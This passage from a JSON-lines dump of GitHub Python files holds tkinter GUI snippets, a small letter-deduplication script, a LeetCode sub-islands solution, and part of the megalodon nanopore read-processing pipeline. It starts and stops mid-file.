columns=(0,1,2), show='headings', height=8)\ntablatokens.pack()\n\nfor i in range(0,3):\n tablatokens.column(i, anchor=CENTER,width=100)\n\n\ncolumnastokens = ['NUM','TOKEN','LEXEMA']\n\nindex = 0\nfor i in columnastokens:\n tablatokens.heading(index, text=i)\n index = index + 1\n\n\n\nindex = 0\nfor i in token:\n if i.type != 'INVALIDO':\n tablatokens.insert(parent='', index=index, iid=index, text='', values=(\n index,\n i.type,\n i.value,\n ))\n index = index + 1\n\n\n#tabla de tokens invalidos\n\nTivalidos = Label(raiz, text=\"TOKENS INVALIDOS\", padx=20, pady=5, font=\"Verdana 11\")\nTivalidos.pack()\n\ntablatokensINV = ttk.Treeview(raiz, columns=(0,1), show='headings', height=8)\ntablatokensINV.pack()\n\nfor i in range(0,2):\n tablatokensINV.column(i, anchor=CENTER, width=100)\n\n\ncolumnastokensINV = ['NUM','INVALIDOS']\n\nindex = 0\nfor i in columnastokensINV:\n tablatokensINV.heading(index, text=i)\n index = index + 1\n\n\n\nindex = 0\nfor i in token:\n if i.type == 'INVALIDO':\n tablatokensINV.insert(parent='', index=index, iid=index, text='', values=(\n index,\n i.value,\n ))\n index = index + 1\n\n\n#NUMERO DE VALIDOS E INVALIDOS\nvalidos = Label(raiz, text=\"número de tokens validos: \"+\"\\t\"+str(Num_tokens_validos), padx=20, pady=5, font=\"Verdana 11\")\nvalidos.pack(anchor=NW)\n\ninvalidos = Label(raiz, text=\"número de tokens invalidos: \"+\"\\t\"+str(Num_tokens_invalidos),padx=20, pady=2, font=\"Verdana 11\")\ninvalidos.pack(anchor=NW)\nraiz.mainloop()","repo_name":"Gabriel-Sanchez/hashtable","sub_path":"hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43677098438","text":"#data_in = input()\ndata_in = \"cbbcbbcbcca\"\n\ndef drawer(data_in):\n \"\"\"用一个抽屉有序保存检测到的字母\"\"\"\n dr = [\"\"]*26\n for i in data_in:\n index = ord(i) - ord(\"a\")\n if not dr[index]:\n dr[index] = chr(ord(\"a\")+index)\n print(\"\".join(dr))\n\ndrawer(data_in)\n\ndef tranverse_all(data_in):\n \"\"\"先遍历再排序的笨方法\"\"\"\n l = []\n for i in data_in:\n if i not in l:\n l.append(i)\n l=sorted(l)\n print(\"\".join(l))\n\n","repo_name":"zheyuanWang/hunter_playground","sub_path":"search/noRepeatDic.py","file_name":"noRepeatDic.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26091110455","text":"class Solution:\n def countSubIslands(self, grid1: List[List[int]], grid2: List[List[int]]) -> int:\n rowLen = len(grid1)\n colLen = len(grid1[0])\n visited = set()\n k = 0\n def isInBound(row, col):\n if row < 0 or row >= rowLen or col < 0 or col >= colLen or grid2[row][col] == 0:\n return False\n\n return True\n \n def dfs(grid1, grid2, r, c):\n nonlocal k\n visited.add((r, c))\n directions = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n if grid1[r][c] != 1:\n k = 1\n \n for row_change, col_change in directions:\n new_row = r + row_change\n new_col = c + col_change\n if isInBound(new_row, new_col) and (new_row, new_col) not in visited:\n \n dfs(grid1, grid2, new_row, new_col)\n \n \n cnt = 0\n for r in range(rowLen):\n for c in range(colLen):\n if (r, c) in visited or grid2[r][c] == 0:\n continue\n dfs(grid1, grid2, r, c)\n if k == 0:\n cnt += 1\n k = 0\n return cnt","repo_name":"Rediet-Ferew/competitive-programming","sub_path":"count-sub-islands.py","file_name":"count-sub-islands.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41328252368","text":"from tkinter import *\nfrom tkinter import messagebox\nimport sqlite3\ncon = sqlite3.connect('database.db')\ncur = con.cursor()\n\nclass Addpeople(Toplevel):\n def __init__(self):\n Toplevel.__init__(self)\n self.geometry(\"650x550+350+200\")\n self.title(\"Add New Person\")\n self.resizable(False,False)\n\n self.top = Frame(self, height=150, bg=\"white\")\n self.top.pack(fill=X)\n self.bottom = Frame(self, height=500, bg=\"RoyalBlue1\")\n self.bottom.pack(fill=X)\n\n self.top_image = PhotoImage(file='6.png')\n self.top_image_label = Label(self.top, image=self.top_image, bg=\"white\")\n self.top_image_label.place(x=100, y=10)\n\n self.heading = Label(self.top, text=\"Add\", font=\"Times 32 bold\", bg=\"white\", fg=\"#426ff5\")\n self.heading.place(x=240, y=40)\n\n self.heading = Label(self.top, text=\"New Person\", font=\"Times 32 bold\", bg=\"white\", fg=\"#111\")\n self.heading.place(x=320, y=40)\n\n\n #name\n self.label_name=Label(self.bottom, text=\"Name:\", font=\"Times 15 bold\",bg='RoyalBlue1' ,fg=\"#111\")\n self.label_name.place(x=40,y=40)\n self.entry_name = Entry(self.bottom,width=30,bd=2)\n self.entry_name.insert(0,\"Enter Name\")\n self.entry_name.place(x=200,y=44)\n\n\n #Surname\n self.label_surname = Label(self.bottom, text=\"Surname:\", font=\"Times 15 bold\", bg='RoyalBlue1', fg=\"#111\")\n self.label_surname.place(x=40, y=80)\n self.entry_surname = Entry(self.bottom, width=30, bd=2)\n self.entry_surname.insert(0, \"Enter Surname\")\n self.entry_surname.place(x=200, y=84)\n\n #email\n self.label_email= Label(self.bottom, text=\"Email:\", font=\"Times 15 bold\", bg='RoyalBlue1', fg=\"#111\")\n self.label_email.place(x=40, y=120)\n self.entry_email = Entry(self.bottom, width=30, bd=2)\n self.entry_email.insert(0, \"Enter Email\")\n self.entry_email.place(x=200, y=124)\n\n #Phone_number\n self.label_phone = Label(self.bottom, text=\"Phone Number:\", font=\"Times 15 bold\", bg='RoyalBlue1', fg=\"#111\")\n self.label_phone.place(x=40, y=160)\n self.entry_phone = Entry(self.bottom, width=30, bd=2)\n self.entry_phone.insert(0, \"Enter Phone Number\")\n self.entry_phone.place(x=200, y=164)\n\n #address\n self.label_address = Label(self.bottom, text=\"Address:\", font=\"Times 15 bold\", bg='RoyalBlue1', fg=\"#111\")\n self.label_address.place(x=40, y=200)\n self.entry_address = Text(self.bottom, width=22, bd=2,height=6)\n\n self.entry_address.place(x=200, y=204)\n\n #button\n button =Button(self.bottom,text=\"Add Person\",bg=\"black\",fg=\"white\",width=25, font=\"Times 10 \",command=self.add_people)\n button.place(x=200,y=320)\n\n\n #Getting input data from the user\n def add_people(self):\n name = self.entry_name.get()\n surname= self.entry_surname.get()\n email = self.entry_email.get()\n phone =self.entry_phone.get()\n address= self.entry_address.get(1.0,'end-1c')\n\n if name and surname and email and phone and address !=\"\":\n try:\n\n #add to database\n query = 'insert into addressbook1 (person_name,person_surname, person_email,person_phone,person_address)' 'VALUES (?,?,?,?,?)'\n cur.execute(query, (name,surname,phone,email,address))\n con.commit()\n messagebox.showinfo(\"Success\",\"Person is added\")\n except EXCEPTION as e:\n messagebox.showerror(\"Error\",str(e))\n else:\n messagebox.showerror(\"Error\",\"Fill all the fields\", icon ='warning')\n\n","repo_name":"Sarthak88221/Phonebook-app","sub_path":"addpeople.py","file_name":"addpeople.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33345540248","text":"import os\nimport sys\nimport queue\nimport threading\nimport traceback\nfrom time import sleep\nimport multiprocessing as mp\nfrom itertools import product\nfrom collections import defaultdict, OrderedDict\n\nimport mappy\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom megalodon import (\n aggregate,\n backends,\n fast5_io,\n logging,\n mapping,\n mods,\n variants,\n megalodon_helper as mh,\n megalodon_multiprocessing as mega_mp,\n __version__,\n)\n\n# fix error `TypeError: cannot pickle '_thread.lock' object` on Mac + python3.8\ntry:\n mp.set_start_method(\"fork\")\nexcept RuntimeError:\n pass\n\nLOGGER = logging.get_logger()\n# set blas library environment variables (without these the cblas calls\n# can completely halt processing)\nos.environ[\"OMP_NUM_THREADS\"] = \"1\"\nos.environ[\"OPENBLAS_NUM_THREADS\"] = \"1\"\n\n_DO_PROFILE = False\n_UNEXPECTED_ERROR_CODE = \"Unexpected error\"\n_UNEXPECTED_ERROR_FN = \"unexpected_megalodon_errors.{}.err\"\n_SIG_EXTRACT_GETTER_NAME = \"extract_signal\"\n_FAILED_READ_GETTER_NAME = \"failed_reads\"\n_MAX_NUM_UNEXP_ERRORS = 50\nDO_INTERPOLATE_SIG_POS = False\n# update error text when 10% more errors are found\nERR_UPDATE_PROP = 0.1\n\n\n############################\n# Post Per-read Processing #\n############################\n\n\ndef post_process_mapping(map_bn, map_fmt, ref_fn, samtools_exec):\n map_fn = \"{}.{}\".format(map_bn, map_fmt)\n map_sort_fn = \"{}.sorted.{}\".format(map_bn, map_fmt)\n map_p = mp.Process(\n target=mapping.sort_and_index_mapping,\n args=(samtools_exec, map_fn, map_sort_fn, map_fmt, ref_fn),\n daemon=True,\n )\n map_p.start()\n\n return map_p, map_sort_fn\n\n\ndef start_sort_mapping_procs(map_info, mods_info, vars_info):\n map_p = mod_map_ps = var_map_p = var_sort_fn = None\n if map_info.do_output_mappings and map_info.do_sort_mappings:\n LOGGER.info(\"Spawning process to sort mappings\")\n map_p, _ = post_process_mapping(\n mh.get_megalodon_fn(map_info.out_dir, mh.MAP_NAME),\n map_info.map_fmt,\n map_info.cram_ref_fn,\n map_info.samtools_exec,\n )\n if mods_info.do_output.mod_map and map_info.do_sort_mappings:\n LOGGER.info(\"Spawning process to sort modified base mappings\")\n mod_map_bn = mh.get_megalodon_fn(mods_info.out_dir, mh.MOD_MAP_NAME)\n if mods_info.map_emulate_bisulfite:\n mod_map_bns = [\n \"{}.{}\".format(mod_map_bn, mln)\n for mod_base, mln in mods_info.mod_long_names\n ]\n else:\n mod_map_bns = [mod_map_bn]\n mod_map_ps = [\n post_process_mapping(\n mod_map_bn,\n map_info.map_fmt,\n map_info.cram_ref_fn,\n map_info.samtools_exec,\n )[0]\n for mod_map_bn in mod_map_bns\n ]\n if vars_info.do_output.var_map and map_info.do_sort_mappings:\n LOGGER.info(\"Spawning process to sort variant mappings\")\n var_map_p, var_sort_fn = post_process_mapping(\n mh.get_megalodon_fn(vars_info.out_dir, mh.VAR_MAP_NAME),\n map_info.map_fmt,\n map_info.cram_ref_fn,\n map_info.samtools_exec,\n )\n return map_p, mod_map_ps, var_map_p, var_sort_fn\n\n\ndef get_map_procs(\n map_p, mod_map_ps, var_map_p, var_sort_fn, index_variant_fn, variant_fn\n):\n if var_map_p is not None:\n if var_map_p.is_alive():\n LOGGER.info(\"Waiting for variant mappings sort\")\n var_map_p.join()\n if index_variant_fn is not None and var_sort_fn is not None:\n LOGGER.info(\n variants.get_whatshap_command(index_variant_fn, var_sort_fn)\n )\n if mod_map_ps is not None:\n if any(mod_map_p.is_alive() for mod_map_p in mod_map_ps):\n LOGGER.info(\"Waiting for modified base mappings sort\")\n for mod_map_p in mod_map_ps:\n mod_map_p.join()\n if map_p is not None:\n if map_p.is_alive():\n LOGGER.info(\"Waiting for mappings sort\")\n map_p.join()\n\n\n###################\n# Read Processing #\n###################\n\n\ndef handle_errors(func, args, r_vals, out_q, fast5_fn, failed_reads_q):\n try:\n out_q.put((func(*args), r_vals))\n except KeyboardInterrupt:\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=False,\n err_type=\"Keyboard interrupt\",\n fast5_fn=fast5_fn,\n )\n )\n )\n return\n except mh.MegaError as e:\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=False,\n err_type=str(e),\n fast5_fn=fast5_fn,\n )\n )\n )\n except Exception:\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=False,\n err_type=_UNEXPECTED_ERROR_CODE,\n fast5_fn=fast5_fn,\n err_tb=traceback.format_exc(),\n )\n )\n )\n\n\ndef interpolate_sig_pos(r_to_q_poss, mapped_rl_cumsum):\n # TODO Need to test and optimize this function\n # interpolate signal positions for consecutive reference bases assigned\n # to the same query base\n ref_to_block = np.empty(r_to_q_poss.shape[0], dtype=np.int32)\n prev_query_pos = -1\n curr_stay_bases = 0\n for ref_pos, query_pos in enumerate(r_to_q_poss):\n # backsteps shouldn't be possible, but handled here\n if query_pos <= prev_query_pos:\n curr_stay_bases += 1\n continue\n ref_to_block[ref_pos - curr_stay_bases : ref_pos + 1] = np.around(\n np.linspace(\n start=ref_to_block[ref_pos - curr_stay_bases - 1],\n stop=mapped_rl_cumsum[query_pos],\n num=curr_stay_bases + 2,\n endpoint=True,\n )[1:]\n ).astype(np.int32)\n curr_stay_bases = 0\n prev_query_pos = query_pos\n # for stay at end of read there is no signal point to interpolate to\n # so copy last value\n if curr_stay_bases > 0:\n ref_to_block[ref_to_block.shape[0] - curr_stay_bases :] = ref_to_block[\n ref_to_block.shape[0] - curr_stay_bases - 1\n ]\n return ref_to_block\n\n\ndef process_mapping(\n getter_qpcs,\n ref_out_info,\n vars_info,\n mods_info,\n bc_info,\n sig_info,\n called_read,\n rl_cumsum,\n can_post,\n post_w_mods,\n r_ref_seq,\n r_to_q_poss,\n r_ref_pos,\n r_cigar,\n map_num,\n):\n np_ref_seq = mh.seq_to_int(r_ref_seq, error_on_invalid=False)\n\n failed_reads_q = getter_qpcs[_FAILED_READ_GETTER_NAME].queue\n sig_map_res = None\n if ref_out_info.do_output.sig_maps:\n pass_sig_map_filts = mapping.read_passes_filters(\n ref_out_info.filt_params,\n len(called_read.seq),\n r_ref_pos.q_trim_start,\n r_ref_pos.q_trim_end,\n r_cigar,\n )\n sig_map_res = signal_mapping.SIG_MAP_RESULT(\n pass_sig_map_filts,\n sig_info.fast5_fn,\n sig_info.dacs,\n sig_info.scale_params,\n r_ref_seq,\n sig_info.stride,\n sig_info.read_id,\n r_to_q_poss,\n rl_cumsum,\n r_ref_pos,\n ref_out_info,\n )\n if (\n ref_out_info.do_output.can_sig_maps\n and pass_sig_map_filts\n and map_num == 0\n ):\n try:\n getter_qpcs[mh.SIG_MAP_NAME].queue.put(\n signal_mapping.get_remapping(*sig_map_res[1:])\n )\n except Exception as e:\n LOGGER.debug(\n \"{} SignalMappingError {}\".format(sig_info.read_id, str(e))\n )\n # taiyaki errors can contain newlines so split them here\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=False,\n err_type=\" ::: \".join(str(e).strip().split(\"\\n\")),\n fast5_fn=sig_info.fast5_fn,\n )\n )\n )\n\n # get mapped start in post and run len to mapped bit of output\n post_mapped_start, post_mapped_end = (\n rl_cumsum[r_ref_pos.q_trim_start],\n rl_cumsum[r_ref_pos.q_trim_end],\n )\n mapped_rl_cumsum = (\n rl_cumsum[r_ref_pos.q_trim_start : r_ref_pos.q_trim_end + 1]\n - post_mapped_start\n )\n if DO_INTERPOLATE_SIG_POS:\n ref_to_block = interpolate_sig_pos(r_to_q_poss, mapped_rl_cumsum)\n else:\n ref_to_block = mapped_rl_cumsum[r_to_q_poss]\n\n if vars_info.do_output.db:\n assert not bc_info.rev_sig, (\n \"Reversed raw signal (RNA) not compatible with sequence \"\n + \"variant detection.\"\n )\n mapped_can_post = can_post[post_mapped_start:post_mapped_end]\n handle_errors(\n func=variants.call_read_vars,\n args=(\n vars_info,\n r_ref_pos,\n np_ref_seq,\n ref_to_block,\n mapped_can_post,\n ),\n r_vals=(\n sig_info.read_id,\n r_ref_pos.chrm,\n r_ref_pos.strand,\n r_ref_pos.start,\n r_ref_seq,\n len(called_read.seq),\n r_ref_pos.q_trim_start,\n r_ref_pos.q_trim_end,\n r_cigar,\n ),\n out_q=getter_qpcs[mh.PR_VAR_NAME].queue,\n fast5_fn=sig_info.fast5_fn + \":::\" + sig_info.read_id,\n failed_reads_q=failed_reads_q,\n )\n if mods_info.do_output.any:\n mapped_post_w_mods = None\n if not mods_info.is_remora_mod:\n mapped_post_w_mods = post_w_mods[post_mapped_start:post_mapped_end]\n mod_sig_map_q = (\n getter_qpcs[mh.SIG_MAP_NAME].queue\n if ref_out_info.do_output.mod_sig_maps\n else None\n )\n handle_errors(\n func=mods.call_read_mods,\n args=(\n r_ref_pos,\n r_ref_seq,\n ref_to_block,\n mapped_post_w_mods,\n mods_info,\n mod_sig_map_q,\n sig_map_res,\n bc_info.rev_sig,\n sig_info.read_id,\n failed_reads_q,\n sig_info.fast5_fn,\n map_num,\n sig_info,\n post_mapped_start,\n mods_info.ref_full_path_decode,\n ),\n r_vals=(\n sig_info.read_id,\n r_ref_pos.chrm,\n r_ref_pos.strand,\n r_ref_pos.start,\n r_ref_seq,\n len(called_read.seq),\n r_ref_pos.q_trim_start,\n r_ref_pos.q_trim_end,\n r_cigar,\n map_num,\n ),\n out_q=getter_qpcs[mh.PR_MOD_NAME].queue,\n fast5_fn=sig_info.fast5_fn + \":::\" + sig_info.read_id,\n failed_reads_q=failed_reads_q,\n )\n\n\ndef process_read(\n getter_qpcs,\n caller_conn,\n bc_res,\n ref_out_info,\n vars_info,\n mods_info,\n bc_info,\n):\n \"\"\"Workhorse per-read megalodon function (connects all the parts)\"\"\"\n (\n sig_info,\n seq_summ_info,\n called_read,\n rl_cumsum,\n can_post,\n post_w_mods,\n mods_scores,\n ) = bc_res\n if bc_info.do_output.any:\n # convert seq_summ_info to tuple since namedtuples can't be\n # pickled for passing through a queue.\n if bc_info.rev_sig:\n # sequence is stored internally in sequencing direction. Send\n # to basecall output in reference direction.\n getter_qpcs[mh.BC_NAME].queue.put(\n (\n sig_info.read_id,\n called_read.seq[::-1],\n called_read.qual[::-1],\n mods_scores,\n tuple(seq_summ_info),\n )\n )\n else:\n getter_qpcs[mh.BC_NAME].queue.put(\n (\n sig_info.read_id,\n called_read.seq,\n called_read.qual,\n mods_scores,\n tuple(seq_summ_info),\n )\n )\n\n # if no mapping connection return after basecalls are passed out\n if caller_conn is None:\n return\n\n # map read and record mapping from reference to query positions\n map_q = (\n getter_qpcs[mh.MAP_NAME].queue if mh.MAP_NAME in getter_qpcs else None\n )\n for (\n r_ref_seq,\n r_to_q_poss,\n r_ref_pos,\n r_cigar,\n r_map_num,\n ) in mapping.map_read(\n caller_conn, called_read, sig_info, map_q, bc_info.rev_sig, rl_cumsum\n ):\n process_mapping(\n getter_qpcs,\n ref_out_info,\n vars_info,\n mods_info,\n bc_info,\n sig_info,\n called_read,\n rl_cumsum,\n can_post,\n post_w_mods,\n r_ref_seq,\n r_to_q_poss,\n r_ref_pos,\n r_cigar,\n r_map_num,\n )\n\n\n########################\n# Process reads worker #\n########################\n\n\ndef _process_reads_worker(\n signal_q,\n getter_qpcs,\n caller_conn,\n ref_out_info,\n model_info,\n vars_info,\n mods_info,\n bc_info,\n device,\n aux_failed_q,\n):\n def read_generator():\n while True:\n try:\n read_sig_data = signal_q.queue.get(timeout=0.01)\n except queue.Empty:\n continue\n if read_sig_data is None:\n LOGGER.debug(\"Closing\")\n break\n sig_info, seq_summ_info = read_sig_data\n # convert tuples back to namedtuples after multiprocessing queue\n sig_info = backends.SIGNAL_DATA(*sig_info)\n LOGGER.debug(\"{} Processing\".format(sig_info.read_id))\n yield sig_info, mh.SEQ_SUMM_INFO(*seq_summ_info)\n\n # wrap process prep in try loop to avoid stalled command\n try:\n failed_reads_q = getter_qpcs[_FAILED_READ_GETTER_NAME].queue\n model_info.prep_model_worker(device)\n mods_info.prep_mods_worker()\n vars_info.reopen_variant_index()\n LOGGER.debug(\"Starting\")\n except Exception as e:\n aux_failed_q.put((\"WorkerInitError\", str(e), traceback.format_exc()))\n return\n\n for bc_res in model_info.iter_basecalled_reads(\n read_generator(),\n failed_reads_q=failed_reads_q,\n mods_info=mods_info,\n ):\n sig_info = bc_res[0]\n try:\n process_read(\n getter_qpcs,\n caller_conn,\n bc_res,\n ref_out_info,\n vars_info,\n mods_info,\n bc_info,\n )\n failed_reads_q.put(tuple(mh.READ_STATUS(n_sig=sig_info.raw_len)))\n LOGGER.debug(\"{} Success\".format(sig_info.read_id))\n except KeyboardInterrupt:\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=False,\n err_type=\"Keyboard interrupt\",\n fast5_fn=sig_info.fast5_fn,\n )\n )\n )\n LOGGER.debug(\"{} KeyboardInterrupt\".format(sig_info.read_id))\n return\n except mh.MegaError as e:\n raw_len = sig_info.raw_len if hasattr(sig_info, \"raw_len\") else 0\n fn_rid = \"{}:::{}\".format(sig_info.fast5_fn, sig_info.read_id)\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=True,\n err_type=str(e),\n fast5_fn=fn_rid,\n n_sig=raw_len,\n )\n )\n )\n LOGGER.debug(\"{} Failed {}\".format(sig_info.read_id, str(e)))\n except Exception as e:\n fn_rid = \"{}:::{}\".format(sig_info.fast5_fn, sig_info.read_id)\n failed_reads_q.put(\n tuple(\n mh.READ_STATUS(\n is_err=True,\n do_update_prog=True,\n err_type=_UNEXPECTED_ERROR_CODE,\n fast5_fn=fn_rid,\n err_tb=traceback.format_exc(),\n )\n )\n )\n LOGGER.debug(\n \"{} UnexpectedFail {}\".format(sig_info.read_id, str(e))\n )\n\n\nif _DO_PROFILE:\n _process_reads_wrapper = _process_reads_worker\n\n def _process_reads_worker(*args):\n import cProfile\n\n cProfile.runctx(\n \"_process_reads_wrapper(*args)\",\n globals(),\n locals(),\n filename=\"read_processing.prof\",\n )\n\n\n#################\n# Queue getters #\n#################\n\n\ndef _get_bc_queue(bc_q, bc_conn, bc_info, aux_failed_q):\n def write_read(bc_res):\n read_id, r_seq, r_qual, mods_scores, seq_summ_info = bc_res\n # convert seq_summ_info back into namedtuple after passing\n # through mp.queue\n seq_summ_info = mh.SEQ_SUMM_INFO(*seq_summ_info)\n if bc_info.do_output.basecalls:\n if bc_info.bc_fmt == mh.BC_FMT_FQ:\n if r_qual is None:\n r_qual = \"!\" * len(r_seq)\n bc_fp.write(\"@{}\\n{}\\n+\\n{}\\n\".format(read_id, r_seq, r_qual))\n else:\n bc_fp.write(\">{}\\n{}\\n\".format(read_id, r_seq))\n seq_summ_fp.write(\"\\t\".join(map(str, seq_summ_info)) + \"\\n\")\n\n if bc_info.do_output.mod_basecalls:\n # 4 indicates unmapped\n mods_fp.write(\n mapping.prepare_mapping(\n read_id,\n r_seq,\n qual=[ord(q) - 33 for q in r_qual],\n mods_scores=mods_scores,\n flag=4,\n )\n )\n\n try:\n LOGGER.debug(\"GetterStarting\")\n if bc_info.do_output.basecalls:\n bc_fp = open(\n \"{}.{}\".format(\n mh.get_megalodon_fn(bc_info.out_dir, mh.BC_NAME),\n bc_info.bc_fmt,\n ),\n \"w\",\n )\n seq_summ_fp = open(\n mh.get_megalodon_fn(bc_info.out_dir, mh.SEQ_SUMM_NAME), \"w\"\n )\n seq_summ_fp.write(\"\\t\".join(mh.SEQ_SUMM_INFO._fields) + \"\\n\")\n if bc_info.do_output.mod_basecalls:\n mods_fp = mapping.open_unaligned_alignment_file(\n mh.get_megalodon_fn(bc_info.out_dir, mh.BC_MODS_NAME),\n bc_info.mod_bc_fmt,\n bc_info.mod_long_names,\n )\n workers_active = True\n LOGGER.debug(\"GetterInitComplete\")\n except Exception as e:\n aux_failed_q.put((\"BasecallsInitError\", str(e), traceback.format_exc()))\n return\n\n try:\n while workers_active or not bc_q.empty():\n try:\n bc_res = bc_q.get(timeout=0.1)\n mh.log_errors(write_read, bc_res)\n except queue.Empty:\n if bc_conn.poll():\n workers_active = False\n LOGGER.debug(\"GetterClosing\")\n except Exception as e:\n aux_failed_q.put(\n (\"BasecallsProcessingError\", str(e), traceback.format_exc())\n )\n finally:\n if bc_info.do_output.basecalls:\n bc_fp.close()\n if bc_info.do_output.mod_basecalls:\n mods_fp.close()\n\n\n####################\n# Dynamic progress #\n####################\n\n\ndef iter_most_common_errs(err_types, reads_called, num_errs=None):\n summ_errs = sorted(err_types)[::-1]\n if num_errs is not None:\n summ_errs = summ_errs[:num_errs]\n if reads_called == 0:\n summ_errs = []\n # skip errors that were checked but not registered\n summ_errs = [(n_fns, err) for n_fns, err in summ_errs if n_fns > 0]\n for n_fns, err in summ_errs:\n yield \"{:8.1f}% ({:>7} reads) : {:<80}\".format(\n 100 * n_fns / float(reads_called), n_fns, err\n )\n if num_errs is not None and len(summ_errs) < num_errs:\n for _ in range(num_errs - len(summ_errs)):\n yield \" -----\"\n\n\ndef update_err(failed_reads, err_type, fast5_fn, err_tb, unexp_err_fp):\n failed_reads[err_type].append(fast5_fn)\n if err_type == _UNEXPECTED_ERROR_CODE:\n # if this is the first unexpected error open file\n if len(failed_reads[_UNEXPECTED_ERROR_CODE]) == 1:\n unexp_err_fp = open(\n _UNEXPECTED_ERROR_FN.format(np.random.randint(10000)), \"w\"\n )\n if len(failed_reads[err_type]) >= _MAX_NUM_UNEXP_ERRORS:\n # if this is the unexpected error limit close the file\n unexp_err_fp.close()\n else:\n # else write the error\n unexp_err_fp.write(fast5_fn + \"\\n:::\\n\" + err_tb + \"\\n\\n\\n\")\n unexp_err_fp.flush()\n return unexp_err_fp\n\n\ndef update_prog(\n err_statuses,\n bar,\n q_bars,\n sig_called,\n getter_qpcs,\n status_info,\n reads_called,\n failed_reads,\n last_err_write,\n read_called=True,\n):\n try:\n bar.set_postfix(\n {\"samples/s\": sig_called / bar.format_dict[\"elapsed\"]},\n refresh=False,\n )\n except AttributeError:\n # sometimes get no format_dict error, if so don't include samples/s\n pass\n if q_bars is not None:\n for q_name, q_bar in q_bars.items():\n q_bar.n = getter_qpcs[q_name].queue.qsize()\n # trigger display refresh\n q_bar.update(0)\n if read_called:\n bar.update()\n if status_info.num_prog_errs > 0:\n err_types = [(len(fns), err) for err, fns in failed_reads.items()]\n num_errs = sum((x[0] for x in err_types))\n if num_errs > 0 and (\n last_err_write == 0\n or num_errs / last_err_write > 1 + ERR_UPDATE_PROP\n ):\n last_err_write = num_errs\n for err_num, err_status in enumerate(\n iter_most_common_errs(\n err_types, reads_called, status_info.num_prog_errs\n )\n ):\n err_statuses[err_num].set_description_str(err_status)\n\n return last_err_write\n\n\ndef prep_errors_bar(status_info, getter_qpcs):\n if status_info.suppress_prog_bar:\n return None, None, None\n\n # prep queue capacity status bars if requested\n q_labs = None\n if not status_info.suppress_queues:\n\n def io_str(q_name):\n if q_name == _SIG_EXTRACT_GETTER_NAME:\n return \" input queue capacity {}\"\n return \"output queue capacity {}\"\n\n sys.stderr.write(\n \"Full output or empty input queues indicate I/O bottleneck\\n\"\n )\n q_labs = [\n (q_num, q_name, io_str(q_name).format(q_name))\n for q_num, q_name in enumerate(\n [\n q_name\n for q_name in getter_qpcs\n if q_name != _FAILED_READ_GETTER_NAME\n ]\n )\n ]\n\n err_statuses = q_bars = None\n if status_info.num_prog_errs > 0:\n # write header for progress bars if dynamic error reporting is on\n sys.stderr.write(\n \"{} most common unsuccessful processing stages:\\n\".format(\n status_info.num_prog_errs\n )\n )\n err_statuses = [\n tqdm(position=err_num, bar_format=\"{desc}\", desc=\" -----\")\n for err_num in range(status_info.num_prog_errs)\n ]\n # open main progress bar\n bar = tqdm(\n total=None,\n smoothing=0,\n initial=0,\n unit=\"reads\",\n dynamic_ncols=True,\n position=status_info.num_prog_errs,\n desc=\"Read Processing\",\n )\n if q_labs is not None:\n q_bars = OrderedDict(\n (\n q_name,\n tqdm(\n desc=q_lab,\n total=mh._MAX_QUEUE_SIZE,\n smoothing=0,\n dynamic_ncols=True,\n position=q_num + 1 + status_info.num_prog_errs,\n bar_format=\"{desc: <42}: {percentage:3.0f}%|{bar}| \"\n + \"{n_fmt}/{total_fmt}\",\n ),\n )\n for q_num, q_name, q_lab in q_labs\n )\n\n return err_statuses, bar, q_bars\n\n\ndef _get_fail_queue(\n failed_reads_q, f_conn, status_info, gnr_conn, getter_qpcs, signal_q\n):\n LOGGER.info(\"Processing reads\")\n LOGGER.debug(\"GetterStarting\")\n reads_called = sig_called = last_err_write = 0\n unexp_err_fp = None\n failed_reads = defaultdict(list)\n getter_qpcs[_SIG_EXTRACT_GETTER_NAME] = signal_q\n getter_qpcs.move_to_end(_SIG_EXTRACT_GETTER_NAME, last=False)\n err_statuses, bar, q_bars = prep_errors_bar(status_info, getter_qpcs)\n workers_active = True\n LOGGER.debug(\"GetterInitComplete\")\n try:\n while workers_active or not failed_reads_q.empty():\n try:\n read_status = failed_reads_q.get(timeout=0.1)\n read_status = mh.READ_STATUS(*read_status)\n sig_called += read_status.n_sig\n if read_status.do_update_prog:\n reads_called += 1\n if read_status.is_err:\n unexp_err_fp = update_err(\n failed_reads,\n read_status.err_type,\n read_status.fast5_fn,\n read_status.err_tb,\n unexp_err_fp,\n )\n if (\n read_status.do_update_prog\n and not status_info.suppress_prog_bar\n ):\n last_err_write = update_prog(\n err_statuses,\n bar,\n q_bars,\n sig_called,\n getter_qpcs,\n status_info,\n reads_called,\n failed_reads,\n last_err_write,\n )\n # get total number of reads once all reads are enumerated\n if bar is not None and bar.total is None:\n if gnr_conn.poll():\n bar.total = gnr_conn.recv()\n except queue.Empty:\n if f_conn.poll():\n workers_active = False\n LOGGER.debug(\"GetterClosing\")\n except KeyboardInterrupt:\n # exit gracefully on keyboard inturrupt\n return\n\n # cleanup progressbars\n if not status_info.suppress_prog_bar:\n # wait for getter queues to flush\n if q_bars is not None:\n while any(\n not getter_qpcs[q_name].queue.empty()\n for q_name in q_bars.keys()\n ):\n for q_name, q_bar in q_bars.items():\n q_bar.n = getter_qpcs[q_name].queue.qsize()\n q_bar.update(0)\n # close all open progressbars\n if err_statuses is not None:\n for err_status in err_statuses:\n err_status.close()\n 